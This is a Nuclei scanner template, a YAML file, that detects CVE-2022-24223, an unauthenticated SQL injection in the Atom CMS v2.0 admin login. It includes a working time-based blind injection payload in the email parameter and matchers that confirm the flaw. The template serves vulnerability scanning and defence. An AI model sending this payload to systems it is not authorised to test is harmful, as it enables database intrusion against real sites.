nuclei-templates/http/cves/2022/CVE-2022-24223.yaml

48 lines
1.5 KiB
YAML

id: CVE-2022-24223
info:
name: Atom CMS v2.0 - SQL Injection
author: theamanrawat
severity: critical
description: |
AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.
remediation: Fixed in version Atom CMS v2.1
reference:
- https://packetstormsecurity.com/files/165922/Atom-CMS-2.0-SQL-Injection.html
- https://github.com/thedigicraft/Atom.CMS/issues/255
- https://nvd.nist.gov/vuln/detail/CVE-2022-24223
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-24223
cwe-id: CWE-89
epss-score: 0.01499
epss-percentile: 0.85479
cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: thedigitalcraft
product: atomcms
tags: packetstorm,cve,cve2022,sqli,atom,cms
http:
- raw:
- |
@timeout: 10s
POST /admin/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
email={{randstr}}@gmail.com'+AND+(SELECT+2549+FROM+(SELECT(SLEEP(6)))LIzI)+AND+'uqzM'='uqzM&password={{randstr}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "Admin Login") && contains(body, "Atom.SaveOnBlur")'
condition: and
# digest: 4b0a00483046022100b115c51df1034cebb5d8ce36c60ca39522f85705dc8bb3e03a87c27a514abf81022100e1d896cc4507f6383539edb19381c33d5fb8e2bc74f8c3594e0e907bc7d73c3b:922c64590222798bb761d5b6d8e72950